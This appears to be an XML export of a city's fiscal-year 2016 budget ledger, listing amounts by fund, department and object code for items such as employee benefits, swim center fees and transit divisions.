<row _id="19645"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>403950.0</object><object_description>EPA WATER SYS IMPROV GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19646"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>405600.0</object><object_description>MILES PLAYHOUSE FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-6500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-6500</total></row>
<row _id="19647"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>579240.0</object><object_description>CIVIC PARKING BOND DEBT SERVIC</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19648"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>21321</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>21321</total></row>
<row _id="19649"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19650"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>14617</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14617</total></row>
<row _id="19651"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>57224</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>57224</total></row>
<row _id="19652"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>10460</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10460</total></row>
<row _id="19653"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401007.0</object><object_description>SWIM CENTER-SEMI-PRIVATE LESSO</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-88200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-88200</total></row>
<row _id="19654"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>69503</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>69503</total></row>
<row _id="19655"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1841</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1841</total></row>
<row _id="19656"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561406.0</object><object_description>DIRECT SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19657"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>48216</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>48216</total></row>
<row _id="19658"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1099</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1099</total></row>
<row _id="19659"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>961</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>961</total></row>
<row _id="19660"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4853</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4853</total></row>
<row _id="19661"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>11116</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11116</total></row>
<row _id="19662"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>28953</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>28953</total></row>
<row _id="19663"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>41159</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>41159</total></row>
<row _id="19664"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6138</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6138</total></row>
<row _id="19665"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1218</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1218</total></row>
<row _id="19666"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12320</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12320</total></row>
<row _id="19667"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1035</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1035</total></row>
<row _id="19668"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>405891</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>405891</total></row>
<row _id="19669"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>339599</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>339599</total></row>
<row _id="19670"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>149229</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>149229</total></row>
<row _id="19671"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1184</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1184</total></row>
<row _id="19672"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>16741</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16741</total></row>
<row _id="19673"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8910</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8910</total></row>
<row _id="19674"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7783</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7783</total></row>
<row _id="19675"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8845</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8845</total></row>
<row _id="19676"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4126</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4126</total></row>
<row _id="19677"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>60171</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>60171</total></row>
<row _id="19678"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>11063</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11063</total></row>
<row _id="19679"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>18985</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>18985</total></row>
<row _id="19680"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>28838</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>28838</total></row>
<row _id="19681"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1308</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1308</total></row>
<row _id="19682"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>738</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>738</total></row>
<row _id="19683"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>504</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>504</total></row>
<row _id="19684"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2468</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2468</total></row>
<row _id="19685"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>9136</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9136</total></row>
<row _id="19686"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>17961</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17961</total></row>
<row _id="19687"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2114</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2114</total></row>
<row _id="19688"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>23686</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>23686</total></row>
<row _id="19689"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400850.0</object><object_description>SWIM CENTER-SMC</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-334400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-334400</total></row>
<row _id="19690"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401005.0</object><object_description>SWIM CENTER-ROOM RENTALS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-2700</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2700</total></row>
<row _id="19691"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>400660.0</object><object_description>TECHNOLOGY ENHANCEMENT FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-307660</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-307660</total></row>
<row _id="19692"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>728</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>728</total></row>
<row _id="19693"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2236</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2236</total></row>
